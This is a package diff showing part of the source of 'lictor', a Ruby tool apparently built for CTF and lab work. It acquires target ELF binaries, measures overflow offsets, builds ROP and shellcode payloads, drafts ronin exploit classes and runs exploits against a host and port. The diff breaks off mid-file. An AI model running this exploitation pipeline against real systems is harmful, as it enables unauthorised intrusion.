lictor 0.4.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/CHANGELOG.md +240 -0
- data/LICENSE +21 -0
- data/README.md +285 -0
- data/bin/lictor +609 -0
- data/lib/config/build_layouts.yml +67 -0
- data/lib/lictor/acquisition.rb +78 -0
- data/lib/lictor/config.rb +24 -0
- data/lib/lictor/executor.rb +119 -0
- data/lib/lictor/exploit_scaffold.rb +61 -0
- data/lib/lictor/handoff.rb +62 -0
- data/lib/lictor/harvest.rb +58 -0
- data/lib/lictor/pack_draft.rb +84 -0
- data/lib/lictor/payload_builder.rb +187 -0
- data/lib/lictor/priors.rb +30 -0
- data/lib/lictor/profiler.rb +38 -0
- data/lib/lictor/recon.rb +61 -0
- data/lib/lictor/report.rb +123 -0
- data/lib/lictor/run.rb +174 -0
- data/lib/lictor/scanner.rb +31 -0
- data/lib/lictor/suggestion.rb +40 -0
- data/lib/lictor/targets.rb +38 -0
- data/lib/lictor/technique_packs.rb +25 -0
- data/lib/lictor/templates/scaffold_exploit.rb.erb +47 -0
- data/lib/lictor/trail.rb +77 -0
- data/lib/lictor/tube.rb +76 -0
- data/lib/lictor/version.rb +5 -0
- data/lib/lictor.rb +26 -0
- metadata +101 -0
|
@@ -0,0 +1,78 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
require "net/http"
|
|
4
|
+
require "uri"
|
|
5
|
+
require "fileutils"
|
|
6
|
+
require "open3"
|
|
7
|
+
require "timeout"
|
|
8
|
+
require "securerandom"
|
|
9
|
+
|
|
10
|
+
module Lictor
|
|
11
|
+
# The nmap -> binary bridge. After the scan, WHERE does the binary come
|
|
12
|
+
# from? Three honest answers: it is local (CTF/lab), it is
|
|
13
|
+
# downloadable (http/ftp on the target), or the target is a pure
|
|
14
|
+
# remote service with no retrievable ELF - in that case there is NO
|
|
15
|
+
# profiling: the facts come from the scan (service/software_version)
|
|
16
|
+
# and the service packs match them.
|
|
17
|
+
class AcquisitionError < StandardError; end
|
|
18
|
+
|
|
19
|
+
module Acquisition
|
|
20
|
+
ELF_MAGIC = "\x7fELF"
|
|
21
|
+
MAX_BYTES = 64 * 1024 * 1024
|
|
22
|
+
|
|
23
|
+
module_function
|
|
24
|
+
|
|
25
|
+
# source: "local:/path" or "http(s)://url". Returns {facts:, binary_path:}.
|
|
26
|
+
def acquire(target, source:, trail:, out_dir: ".", profiler_cmd: nil)
|
|
27
|
+
binary_path = fetch(source, out_dir: out_dir)
|
|
28
|
+
unless File.open(binary_path, "rb") { |f| f.read(4) == ELF_MAGIC }
|
|
29
|
+
raise AcquisitionError,
|
|
30
|
+
"#{binary_path} is not an ELF - a pure remote service has no profiled " \
|
|
31
|
+
"binary: its facts come from the scan (service facts) and service packs"
|
|
32
|
+
end
|
|
33
|
+
|
|
34
|
+
cmd = profiler_cmd || "augure-profile"
|
|
35
|
+
out, err, status = Timeout.timeout(300) { Open3.capture3(cmd, binary_path) }
|
|
36
|
+
unless status.success?
|
|
37
|
+
raise AcquisitionError,
|
|
38
|
+
"profiling failed: #{[out, err].map(&:strip).reject(&:empty?).join(" | ")}"
|
|
39
|
+
end
|
|
40
|
+
|
|
41
|
+
facts_path = File.join(out_dir, "target.facts")
|
|
42
|
+
File.write(facts_path, out)
|
|
43
|
+
trail.record(run: SecureRandom.uuid, type: "acquire", target: target,
|
|
44
|
+
source: source, binary: binary_path)
|
|
45
|
+
{facts: out, facts_path: facts_path, binary_path: binary_path}
|
|
46
|
+
rescue Timeout::Error
|
|
47
|
+
raise AcquisitionError, "profiling #{binary_path} timed out after 300s (hung metasm? check the binary)"
|
|
48
|
+
end
|
|
49
|
+
|
|
50
|
+
def fetch(source, out_dir:)
|
|
51
|
+
case source
|
|
52
|
+
when /\Alocal:(.+)/
|
|
53
|
+
path = Regexp.last_match(1)
|
|
54
|
+
raise AcquisitionError, "local source missing: #{path}" unless File.file?(path)
|
|
55
|
+
|
|
56
|
+
dest = File.join(out_dir, File.basename(path))
|
|
57
|
+
FileUtils.cp(path, dest) unless File.identical?(path, dest)
|
|
58
|
+
dest
|
|
59
|
+
when %r{\Ahttps?://}
|
|
60
|
+
dest = File.join(out_dir, File.basename(URI(source).path))
|
|
61
|
+
uri = URI(source)
|
|
62
|
+
response = Net::HTTP.start(uri.host, uri.port, use_ssl: source.start_with?("https"),
|
|
63
|
+
open_timeout: 10, read_timeout: 30) do |http|
|
|
64
|
+
http.get(uri.request_uri)
|
|
65
|
+
end
|
|
66
|
+
raise AcquisitionError, "download failed: HTTP #{response.code}" unless response.code.to_i == 200
|
|
67
|
+
|
|
68
|
+
body = response.body.to_s
|
|
69
|
+
raise AcquisitionError, "download too large (max #{MAX_BYTES})" if body.bytesize > MAX_BYTES
|
|
70
|
+
|
|
71
|
+
File.binwrite(dest, body)
|
|
72
|
+
dest
|
|
73
|
+
else
|
|
74
|
+
raise AcquisitionError, "source must be local:/path or http(s)://url, got #{source.inspect}"
|
|
75
|
+
end
|
|
76
|
+
end
|
|
77
|
+
end
|
|
78
|
+
end
|
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
require "yaml"
|
|
4
|
+
|
|
5
|
+
module Lictor
|
|
6
|
+
# Project config: lictor.yml in the working directory (or an explicit
|
|
7
|
+
# path). Command-line flags override it. The engagement setup is
|
|
8
|
+
# written once; the commands stay short.
|
|
9
|
+
module Config
|
|
10
|
+
DEFAULT_PATH = "lictor.yml"
|
|
11
|
+
|
|
12
|
+
module_function
|
|
13
|
+
|
|
14
|
+
def load(path = DEFAULT_PATH)
|
|
15
|
+
return {} unless File.file?(path)
|
|
16
|
+
|
|
17
|
+
settings = YAML.safe_load_file(path)
|
|
18
|
+
raise ArgumentError, "lictor.yml: symbol keys are not supported - write plain \"key: value\" lines" if settings&.any? { |k, _| k.is_a?(Symbol) }
|
|
19
|
+
settings.to_h.transform_keys(&:to_sym)
|
|
20
|
+
rescue Psych::Exception => e
|
|
21
|
+
raise ArgumentError, "lictor.yml is not parseable config: #{e.message}"
|
|
22
|
+
end
|
|
23
|
+
end
|
|
24
|
+
end
|
|
@@ -0,0 +1,119 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
require "open3"
|
|
4
|
+
require "timeout"
|
|
5
|
+
require "tmpdir"
|
|
6
|
+
|
|
7
|
+
module Lictor
|
|
8
|
+
# The execution layer. The interface is uniform; the implementations
|
|
9
|
+
# differ in how much they dare. ManualExecutor (the default) executes
|
|
10
|
+
# NOTHING - it hands off. RoninExecutor runs exploits from the
|
|
11
|
+
# operator's ronin repos, discovered at runtime, never invented.
|
|
12
|
+
class ExecutorError < StandardError; end
|
|
13
|
+
|
|
14
|
+
module Executor
|
|
15
|
+
module_function
|
|
16
|
+
|
|
17
|
+
def resolve(kind)
|
|
18
|
+
case kind
|
|
19
|
+
when :manual, "manual" then ManualExecutor.new
|
|
20
|
+
when :ronin, "ronin" then RoninExecutor.new
|
|
21
|
+
else raise ExecutorError, "unknown executor #{kind.inspect} (manual|ronin)"
|
|
22
|
+
end
|
|
23
|
+
end
|
|
24
|
+
end
|
|
25
|
+
|
|
26
|
+
# The default: augure decided, lictor prints, a human runs.
|
|
27
|
+
class ManualExecutor
|
|
28
|
+
def execute(target:, technique:, recipe:, exploit_name: nil, payload: nil, timeout: nil, flag_regex: nil)
|
|
29
|
+
{
|
|
30
|
+
executed: false,
|
|
31
|
+
success: nil,
|
|
32
|
+
handoff: recipe[:console] || "manual handoff: #{technique} against #{target}"
|
|
33
|
+
}
|
|
34
|
+
end
|
|
35
|
+
end
|
|
36
|
+
|
|
37
|
+
# Runs an exploit from the operator's installed ronin repos. The
|
|
38
|
+
# exploit NAME must come from discovery (ronin-exploits list) - a
|
|
39
|
+
# fabricated name is an ExecutorError. The ronin subprocess runs
|
|
40
|
+
# OUTSIDE the caller's bundle (RUBYOPT stripped): the operator
|
|
41
|
+
# installs ronin-exploits globally (gem install, the lab setup does
|
|
42
|
+
# it) - the executor does not drag the arsenal into its own bundle.
|
|
43
|
+
class RoninExecutor
|
|
44
|
+
# A MINIMAL environment: under `bundle exec` any surviving bundler
|
|
45
|
+
# hook (RUBYOPT's -rbundler/setup, a BUNDLE_* var, even the Gemfile
|
|
46
|
+
# of the working directory) freezes the gem set to lictor's bundle -
|
|
47
|
+
# and ronin-exploits is deliberately not in it, so the binstub dies
|
|
48
|
+
# in Gem.activate_bin_path. HOME + the current ruby's bindir (where
|
|
49
|
+
# `gem install` puts binstubs, plus mise shims when present) + the
|
|
50
|
+
# system dirs: that is all the arsenal needs.
|
|
51
|
+
CLEAN_ENV = {
|
|
52
|
+
"HOME" => ENV["HOME"].to_s,
|
|
53
|
+
"PATH" => [
|
|
54
|
+
File.dirname(RbConfig.ruby),
|
|
55
|
+
ENV["PATH"].to_s.split(":").find { |d| File.exist?(File.join(d, "mise")) },
|
|
56
|
+
"/usr/local/sbin", "/usr/local/bin", "/usr/sbin", "/usr/bin", "/sbin", "/bin"
|
|
57
|
+
].compact.join(":"),
|
|
58
|
+
"LANG" => ENV["LANG"].to_s,
|
|
59
|
+
"TERM" => ENV["TERM"].to_s
|
|
60
|
+
}.freeze
|
|
61
|
+
|
|
62
|
+
def initialize(runner: "ronin-exploits")
|
|
63
|
+
@runner = runner
|
|
64
|
+
end
|
|
65
|
+
|
|
66
|
+
# The exploits available in the operator's repos, matched to the
|
|
67
|
+
# decided technique by the naming convention
|
|
68
|
+
# `<name>_<technique>_<nnn>` (ronin-exploits list shows names only).
|
|
69
|
+
def discover(technique)
|
|
70
|
+
out, _err, status = Open3.capture3(CLEAN_ENV, @runner, "list", unsetenv_others: true)
|
|
71
|
+
raise ExecutorError, "ronin-exploits list failed" unless status.success?
|
|
72
|
+
|
|
73
|
+
out.lines.filter_map do |line|
|
|
74
|
+
name = line.strip
|
|
75
|
+
name if name.include?(technique)
|
|
76
|
+
end
|
|
77
|
+
end
|
|
78
|
+
|
|
79
|
+
def execute(target:, technique:, recipe:, exploit_name: nil, payload: nil, timeout: nil, flag_regex: nil)
|
|
80
|
+
exploit_name ||= discover(technique).first
|
|
81
|
+
unless exploit_name
|
|
82
|
+
return {executed: false, success: nil,
|
|
83
|
+
note: "no #{technique} exploit in your repos (ronin-exploits list)"}
|
|
84
|
+
end
|
|
85
|
+
|
|
86
|
+
host, port = target.split(":", 2)
|
|
87
|
+
args = ["run", exploit_name, "--param", "host=#{host || target}"]
|
|
88
|
+
args += ["--param", "port=#{port}"] if port
|
|
89
|
+
args += ["--param", "payload_file=#{File.expand_path(payload)}"] if payload
|
|
90
|
+
# A neutral cwd: a Gemfile in the working directory pulls the
|
|
91
|
+
# subprocess back into a bundle context where ronin-exploits
|
|
92
|
+
# "is not included in the bundle".
|
|
93
|
+
out, _err, status = nil
|
|
94
|
+
Dir.chdir(Dir.tmpdir) do
|
|
95
|
+
# unsetenv_others: true = the env -i semantics - Open3 would
|
|
96
|
+
# otherwise MERGE CLEAN_ENV into the (bundler-contaminated)
|
|
97
|
+
# parent environment.
|
|
98
|
+
# the timeout kills the SERVER's wait, the child may linger: a
|
|
99
|
+
# black-holed target must not hang the stdio loop forever
|
|
100
|
+
out, _err, status = Timeout.timeout(timeout || 300) do
|
|
101
|
+
Open3.capture3(CLEAN_ENV, @runner, *args, unsetenv_others: true)
|
|
102
|
+
end
|
|
103
|
+
rescue Timeout::Error, SignalException
|
|
104
|
+
raise ExecutorError, "the runner timed out - a black-holed target hangs the loop"
|
|
105
|
+
end
|
|
106
|
+
# Success semantics: the flag in the OUTPUT is the truth the
|
|
107
|
+
# operator cares about; the exit code lies both ways (a polite
|
|
108
|
+
# exploit exits 0 on failure, a caught-cleanup exploit exits
|
|
109
|
+
# non-zero after landing the flag). Without a flag regex the exit
|
|
110
|
+
# code stays the oracle - the honest, weaker fallback.
|
|
111
|
+
if flag_regex
|
|
112
|
+
flag = out[/#{flag_regex}/]
|
|
113
|
+
{executed: true, success: !flag.nil?, exploit: exploit_name, output: out, flag: flag}
|
|
114
|
+
else
|
|
115
|
+
{executed: true, success: status.success?, exploit: exploit_name, output: out}
|
|
116
|
+
end
|
|
117
|
+
end
|
|
118
|
+
end
|
|
119
|
+
end
|
|
@@ -0,0 +1,61 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
require "securerandom"
|
|
4
|
+
|
|
5
|
+
module Lictor
|
|
6
|
+
# When the repos have no exploit for a decided technique, lictor
|
|
7
|
+
# drafts one: a ronin exploit class carrying the MEASURED constants
|
|
8
|
+
# (offset, addresses) and the built payload loader. The file lands in
|
|
9
|
+
# the operator's repo (or a staging dir for the LLM flow) - the
|
|
10
|
+
# operator reads it and commits it. The exploit NAME follows the
|
|
11
|
+
# discovery convention, so the executor finds it right away.
|
|
12
|
+
module ExploitScaffold
|
|
13
|
+
class ScaffoldError < StandardError; end
|
|
14
|
+
|
|
15
|
+
module_function
|
|
16
|
+
|
|
17
|
+
# Returns the written path. technique: the decided technique;
|
|
18
|
+
# constants: the build result hash (offset:, ret_source:, path: ...).
|
|
19
|
+
def scaffold(technique:, constants:, repo_dir:, author:)
|
|
20
|
+
unless constants[:path] && File.file?(constants[:path])
|
|
21
|
+
raise ScaffoldError,
|
|
22
|
+
"the payload file is missing: #{constants[:path]}"
|
|
23
|
+
end
|
|
24
|
+
|
|
25
|
+
klass_name = "Lab#{technique.split("_").map(&:capitalize).join}#{format("%03d", next_index(repo_dir, technique))}"
|
|
26
|
+
file_name = "lab_#{technique}_#{format("%03d", next_index(repo_dir, technique))}.rb"
|
|
27
|
+
dest = File.join(repo_dir, file_name)
|
|
28
|
+
raise ScaffoldError, "#{dest} already exists - review it instead of overwriting" if File.exist?(dest)
|
|
29
|
+
|
|
30
|
+
File.write(dest, template(klass_name, file_name, technique, constants, author))
|
|
31
|
+
dest
|
|
32
|
+
end
|
|
33
|
+
|
|
34
|
+
def next_index(repo_dir, technique)
|
|
35
|
+
return 1 unless File.directory?(repo_dir.to_s)
|
|
36
|
+
|
|
37
|
+
existing = Dir.children(repo_dir.to_s)
|
|
38
|
+
.select { |f| f =~ /\Alab_#{technique}_(\d{3})\.rb\z/ }
|
|
39
|
+
.map { |_f| Regexp.last_match(1).to_i }
|
|
40
|
+
(existing.max || 0) + 1
|
|
41
|
+
end
|
|
42
|
+
|
|
43
|
+
require "erb"
|
|
44
|
+
|
|
45
|
+
def template(klass_name, file_name, technique, constants, author)
|
|
46
|
+
tpl = File.read(File.join(__dir__, "templates", "scaffold_exploit.rb.erb"))
|
|
47
|
+
locals = {
|
|
48
|
+
klass_name: klass_name,
|
|
49
|
+
register_name: file_name.sub(/\.rb\z/, ""),
|
|
50
|
+
technique: technique,
|
|
51
|
+
author: author,
|
|
52
|
+
offset: constants[:offset],
|
|
53
|
+
offset_source: constants[:offset_source],
|
|
54
|
+
ret_source: constants[:ret_source],
|
|
55
|
+
size: constants[:size],
|
|
56
|
+
payload_path: constants[:path]
|
|
57
|
+
}
|
|
58
|
+
ERB.new(tpl).result_with_hash(locals)
|
|
59
|
+
end
|
|
60
|
+
end
|
|
61
|
+
end
|
|
@@ -0,0 +1,62 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
require "augure"
|
|
4
|
+
|
|
5
|
+
module Lictor
|
|
6
|
+
# Handoff mode: augure decided, Lictor prints the recipe and a human runs
|
|
7
|
+
# it. No RPC, no daemon, no Metasploit install - the Ruby-native arsenal
|
|
8
|
+
# (ronin-exploits 2.1 + rex gems) carries the execution, from gems.
|
|
9
|
+
module Handoff
|
|
10
|
+
# technique -> ronin mixin mapping. Verified against ronin-exploits
|
|
11
|
+
# 1.1.1: the mixins ARE the framework vocabulary; the concrete exploit
|
|
12
|
+
# comes from the operator's installed ronin repos (community exploits
|
|
13
|
+
# are not bundled, so lictor never fabricates exploit names).
|
|
14
|
+
RONIN_MIXINS = {
|
|
15
|
+
"shellcode" => {mixin: "Binary", delivery: "RemoteTCP"},
|
|
16
|
+
"ret2func" => {mixin: "Binary", delivery: "RemoteTCP"},
|
|
17
|
+
"ret2plt" => {mixin: "Binary", delivery: "RemoteTCP"},
|
|
18
|
+
"ret2libc" => {mixin: "Binary", delivery: "RemoteTCP"},
|
|
19
|
+
"rop" => {mixin: "Binary", delivery: "RemoteTCP"},
|
|
20
|
+
"srop" => {mixin: "Binary", delivery: "RemoteTCP"},
|
|
21
|
+
"dlresolve" => {mixin: "Binary", delivery: "RemoteTCP"},
|
|
22
|
+
"got_overwrite" => {mixin: "Binary", delivery: "RemoteTCP"},
|
|
23
|
+
"stack_pivot" => {mixin: "Binary", delivery: "RemoteTCP"},
|
|
24
|
+
"ret2csu" => {mixin: "Binary", delivery: "RemoteTCP"},
|
|
25
|
+
"ret2plt_leak" => {mixin: "Binary", delivery: "RemoteTCP"},
|
|
26
|
+
"fmtstr_leak" => {mixin: "FormatString", delivery: "RemoteTCP"},
|
|
27
|
+
"fmtstr_write" => {mixin: "FormatString", delivery: "RemoteTCP"},
|
|
28
|
+
"got_overwrite (fmtstr)" => {mixin: "FormatString", delivery: "RemoteTCP"},
|
|
29
|
+
"heap_tcache" => {mixin: "Binary", delivery: "Local"},
|
|
30
|
+
"heap_fastbin" => {mixin: "Binary", delivery: "Local"},
|
|
31
|
+
"heap_overwrite" => {mixin: "Binary", delivery: "Local"}
|
|
32
|
+
}.freeze
|
|
33
|
+
|
|
34
|
+
module_function
|
|
35
|
+
|
|
36
|
+
def recipe(technique)
|
|
37
|
+
hint = RONIN_MIXINS.fetch(technique) do
|
|
38
|
+
{mixin: nil, delivery: nil}
|
|
39
|
+
end
|
|
40
|
+
mixin_line = hint[:mixin] ? " # mixin: Ronin::Exploits::Mixins::#{hint[:mixin]}" : ""
|
|
41
|
+
{
|
|
42
|
+
technique: technique,
|
|
43
|
+
runner: "ronin",
|
|
44
|
+
mixin: hint[:mixin],
|
|
45
|
+
console: "ronin-exploits run <exploit-name-from-your-repos> " \
|
|
46
|
+
"--technique #{technique}#{mixin_line}"
|
|
47
|
+
}
|
|
48
|
+
end
|
|
49
|
+
|
|
50
|
+
def plan(facts:, seed: nil, priors: nil, packs: nil, technique: nil)
|
|
51
|
+
decision = Augure::Pipeline.analyze(facts: facts, seed: seed, priors: priors, packs: packs)
|
|
52
|
+
selected = technique || decision[:selected]
|
|
53
|
+
{
|
|
54
|
+
applicable: decision[:applicable],
|
|
55
|
+
ranking: decision[:ranking],
|
|
56
|
+
selected: selected,
|
|
57
|
+
recipe: selected ? recipe(selected) : nil,
|
|
58
|
+
explain: decision[:explain]
|
|
59
|
+
}
|
|
60
|
+
end
|
|
61
|
+
end
|
|
62
|
+
end
|
|
@@ -0,0 +1,58 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
require "socket"
|
|
4
|
+
require "securerandom"
|
|
5
|
+
require "augure"
|
|
6
|
+
|
|
7
|
+
module Lictor
|
|
8
|
+
# The dynamic leak: the service PRINTS its own addresses. Connect,
|
|
9
|
+
# capture what it says, parse the hex it hands over, and the facts
|
|
10
|
+
# gain leaked_address(name, addr) - addresses OBSERVED LIVE,
|
|
11
|
+
# provenance "observed-live". The banner_leak technique's engine.
|
|
12
|
+
module Harvest
|
|
13
|
+
class HarvestError < StandardError; end
|
|
14
|
+
|
|
15
|
+
HEX = /0x([0-9a-f]{4,16})/i
|
|
16
|
+
|
|
17
|
+
module_function
|
|
18
|
+
|
|
19
|
+
# host[:port]. Returns {addresses:, facts:} - the facts text ready
|
|
20
|
+
# to merge into the target's base. The socket work is the Tube's
|
|
21
|
+
# (ADR lictor 0001): one TCP implementation, one deadline semantics.
|
|
22
|
+
def harvest(target, trail:, timeout: 5, read_bytes: 512)
|
|
23
|
+
host, port = target.split(":", 2)
|
|
24
|
+
tube = Lictor::Tube.tcp(host, port, timeout: timeout)
|
|
25
|
+
banner = tube.read_bytes(limit: read_bytes)
|
|
26
|
+
tube.close
|
|
27
|
+
addresses = parse_banner(banner)
|
|
28
|
+
raise HarvestError, "no address in the banner" if addresses.empty?
|
|
29
|
+
|
|
30
|
+
facts = addresses.map { |name, addr| "leaked_address(\"#{name}\", #{addr})." }.join("\n") + "\n"
|
|
31
|
+
trail.record(run: SecureRandom.uuid, type: "harvest", target: target,
|
|
32
|
+
addresses: addresses.transform_values { |v| format("0x%x", v) })
|
|
33
|
+
{addresses: addresses, facts: facts}
|
|
34
|
+
rescue => e
|
|
35
|
+
raise HarvestError, "the service said nothing readable: #{e.message}"
|
|
36
|
+
end
|
|
37
|
+
|
|
38
|
+
# The banner parser, shared with the run's leak capture: hex
|
|
39
|
+
# addresses in a service's output, named by the announcing context.
|
|
40
|
+
def parse_banner(banner)
|
|
41
|
+
addresses = {}
|
|
42
|
+
banner.scan(HEX) do |hex|
|
|
43
|
+
addr = hex.first.to_i(16)
|
|
44
|
+
next if addr < 0x1000
|
|
45
|
+
|
|
46
|
+
# name the leak: "win() at 0x..." -> the function whose call the
|
|
47
|
+
# banner announced; the () between the name and the address is
|
|
48
|
+
# skipped first, the plain preceding word is the fallback
|
|
49
|
+
before = banner[0...Regexp.last_match.pre_match.length]
|
|
50
|
+
name = before[/([A-Za-z_][A-Za-z0-9_]*)\s*\(\s*\)\s*[^\n]*\z/, 1] ||
|
|
51
|
+
before[/([A-Za-z_][A-Za-z0-9_]*)\s*\z/, 1] ||
|
|
52
|
+
"leak"
|
|
53
|
+
addresses[name] ||= addr
|
|
54
|
+
end
|
|
55
|
+
addresses
|
|
56
|
+
end
|
|
57
|
+
end
|
|
58
|
+
end
|
|
@@ -0,0 +1,84 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
require "fileutils"
|
|
4
|
+
require "yaml"
|
|
5
|
+
require "augure"
|
|
6
|
+
require "augure/pack_loader"
|
|
7
|
+
|
|
8
|
+
module Lictor
|
|
9
|
+
# No technique applies and the crash carries facts: draft a PACK. The
|
|
10
|
+
# draft is honest by construction - its rule records the observed
|
|
11
|
+
# facts, its build layout carries the measured constants, and it goes
|
|
12
|
+
# to the STAGING directory for the operator to review. The armor runs
|
|
13
|
+
# on the draft before anything touches augure: a pack that would move
|
|
14
|
+
# a frozen corpus verdict is refused, and it is never auto-installed.
|
|
15
|
+
module PackDraft
|
|
16
|
+
class DraftError < StandardError; end
|
|
17
|
+
|
|
18
|
+
module_function
|
|
19
|
+
|
|
20
|
+
# Returns the draft path, or nil when a built-in technique already
|
|
21
|
+
# covers the observation (the draft says so instead of duplicating).
|
|
22
|
+
def draft(facts:, measurements:, staging_dir:)
|
|
23
|
+
decision = Augure::Pipeline.analyze(facts: facts, plan: false)
|
|
24
|
+
unless decision[:applicable].empty?
|
|
25
|
+
return nil # built-ins cover it: no pack needed, say so upstream
|
|
26
|
+
end
|
|
27
|
+
|
|
28
|
+
sink = measurements[:sink]
|
|
29
|
+
raise DraftError, "no measured sink - the draft would be pure invention" unless sink
|
|
30
|
+
|
|
31
|
+
name = "autodraft_#{sink}"
|
|
32
|
+
layout = measurements[:offset] ? [["padding", "measured_offset"]] : []
|
|
33
|
+
layout << ["qword", "win"] if facts.include?("win_symbol(")
|
|
34
|
+
layout << ["shellcode", "sh"] if facts.include?("nx(\"false\")")
|
|
35
|
+
|
|
36
|
+
yaml = {
|
|
37
|
+
"technique" => name,
|
|
38
|
+
"author" => "lictor auto-draft (operator review required)",
|
|
39
|
+
"source" => "auto-draft from run #{measurements[:run_id]}",
|
|
40
|
+
"rules" => [
|
|
41
|
+
{
|
|
42
|
+
"id" => "app_#{name}",
|
|
43
|
+
"head" => ["applicable", name],
|
|
44
|
+
"conditions" => [
|
|
45
|
+
["fact", "vuln", "sof"],
|
|
46
|
+
["fact", "sink", sink]
|
|
47
|
+
]
|
|
48
|
+
}
|
|
49
|
+
],
|
|
50
|
+
"kb" => [
|
|
51
|
+
{
|
|
52
|
+
"id" => "#{name}_001",
|
|
53
|
+
"technique" => name,
|
|
54
|
+
"description" => "Auto-drafted from the run's observations: the sink was #{sink}, " \
|
|
55
|
+
"the offset measured #{measurements[:offset]} (#{measurements[:offset_source]}). " \
|
|
56
|
+
"This draft records what was seen - the operator writes the craft.",
|
|
57
|
+
"chain" => ["observed", "measured"],
|
|
58
|
+
"unlocks" => [],
|
|
59
|
+
"success_rate" => 0.3
|
|
60
|
+
}
|
|
61
|
+
],
|
|
62
|
+
"mcts" => {"requires" => [], "provides" => [], "terminal" => true, "success" => 0.3},
|
|
63
|
+
"priors" => [5, 15],
|
|
64
|
+
"build" => {"technique" => name, "arch" => "any", "layout" => layout}
|
|
65
|
+
}
|
|
66
|
+
require "yaml"
|
|
67
|
+
text = YAML.dump(yaml)
|
|
68
|
+
FileUtils.mkdir_p(staging_dir)
|
|
69
|
+
dest = File.join(staging_dir, "#{name}.yml")
|
|
70
|
+
File.write(dest, text)
|
|
71
|
+
|
|
72
|
+
# the armor reads the draft: a refused draft stays on disk with
|
|
73
|
+
# the refusal in the trail - the operator decides what to do
|
|
74
|
+
status = begin
|
|
75
|
+
Augure::PackLoader.load_dir(staging_dir)
|
|
76
|
+
Augure::PackLoader.corpus_guard(Augure::PackLoader.load_dir(staging_dir))
|
|
77
|
+
"valid"
|
|
78
|
+
rescue Augure::PackError => e
|
|
79
|
+
"refused: #{e.message[0, 80]}"
|
|
80
|
+
end
|
|
81
|
+
{path: dest, status: status, technique: name}
|
|
82
|
+
end
|
|
83
|
+
end
|
|
84
|
+
end
|
|
@@ -0,0 +1,187 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
require "yaml"
|
|
4
|
+
require "augure"
|
|
5
|
+
# metasm (+ augure-profiler) loads lazily in build(): every lictor
|
|
6
|
+
# command would otherwise pay the 0.32 s load (H6)
|
|
7
|
+
|
|
8
|
+
module Lictor
|
|
9
|
+
# The asploit inheritance: from the decision to the actual bytes.
|
|
10
|
+
# The offset is MEASURED (static frame read first, the cyclic pattern
|
|
11
|
+
# under the debugger as verifier/fallback), the return address comes
|
|
12
|
+
# from facts with their provenance, and the assembly follows a BUILD
|
|
13
|
+
# LAYOUT - data, not code: lictor ships layouts for its built-in
|
|
14
|
+
# families (config/build_layouts.yml) and packs may add layouts for
|
|
15
|
+
# their own techniques. The result is a payload file - like the
|
|
16
|
+
# original's ./payload dump - trailed for the audit.
|
|
17
|
+
module PayloadBuilder
|
|
18
|
+
class BuildError < StandardError; end
|
|
19
|
+
|
|
20
|
+
module_function
|
|
21
|
+
|
|
22
|
+
# binary: the acquired local ELF copy. facts: text or Facts.
|
|
23
|
+
# technique: the selected technique (drives the layout).
|
|
24
|
+
# packs: loaded augure packs - a pack build: layout for the
|
|
25
|
+
# technique WINS over the built-in file (packs teach, the builder
|
|
26
|
+
# follows).
|
|
27
|
+
# Returns {path:, offset:, offset_source:, sink:, ret:, ret_source:,
|
|
28
|
+
# arch:, size:}.
|
|
29
|
+
def build(binary:, facts:, technique:, out:, payload_file: nil, packs: nil, shellcode_path: nil)
|
|
30
|
+
require "augure-profiler" # lazy: metasm loads on the first build only
|
|
31
|
+
facts = Augure::Facts.parse(facts) if facts.is_a?(String)
|
|
32
|
+
# The ELF check FIRST: nothing executes - statically or under the
|
|
33
|
+
# debugger - until the file is a real ELF.
|
|
34
|
+
binary = File.expand_path(binary)
|
|
35
|
+
raise BuildError, "#{binary} is not an ELF - nothing executes, statically or under a debugger" unless elf?(binary)
|
|
36
|
+
|
|
37
|
+
# the acquired copy comes through File.binwrite (0644): the offset
|
|
38
|
+
# measurement runs it under the debugger, it must be executable
|
|
39
|
+
FileUtils.chmod(0o755, binary) unless File.executable?(binary)
|
|
40
|
+
begin
|
|
41
|
+
static = AugureProfiler::StaticOffset.offset(binary)
|
|
42
|
+
rescue
|
|
43
|
+
static = nil
|
|
44
|
+
end
|
|
45
|
+
offset = static&.dig(:offset)
|
|
46
|
+
offset_source = offset ? "static-frame" : nil
|
|
47
|
+
unless offset
|
|
48
|
+
offset = AugureProfiler::Triage.offset(binary)
|
|
49
|
+
offset_source = "gdb-cyclic" if offset
|
|
50
|
+
end
|
|
51
|
+
unless offset
|
|
52
|
+
raise BuildError,
|
|
53
|
+
"no measured offset - static analysis found no controlled return and the debugger did not either"
|
|
54
|
+
end
|
|
55
|
+
|
|
56
|
+
layout = layout_for(technique, packs)
|
|
57
|
+
arch = AugureProfiler.arch(binary)
|
|
58
|
+
width = (arch == :x64) ? "Q<" : "L<"
|
|
59
|
+
body, ret, ret_source = assemble(facts, layout, offset, arch, width, payload_file, shellcode_path)
|
|
60
|
+
File.binwrite(out, body)
|
|
61
|
+
{path: out, offset: offset, offset_source: offset_source, sink: static&.dig(:sink),
|
|
62
|
+
ret: ret, ret_source: ret_source, arch: arch, size: body.bytesize}
|
|
63
|
+
end
|
|
64
|
+
|
|
65
|
+
# lictor's data file first; a pack teaching the same technique with
|
|
66
|
+
# a build: section overrides (packs teach, the builder follows).
|
|
67
|
+
def layout_for(technique, packs = [])
|
|
68
|
+
built_in = YAML.load_file(File.expand_path("../config/build_layouts.yml", __dir__))
|
|
69
|
+
Array(packs).filter_map(&:build).find { |b| b["technique"] == technique }&.dig("layout") ||
|
|
70
|
+
built_in.dig(technique, "layout") or
|
|
71
|
+
raise BuildError, "no build layout for #{technique} - teach one in the pack or in build_layouts.yml"
|
|
72
|
+
end
|
|
73
|
+
|
|
74
|
+
# The layout slots, resolved against the facts and the measurement.
|
|
75
|
+
# Every unresolved reference is a loud error: the builder never
|
|
76
|
+
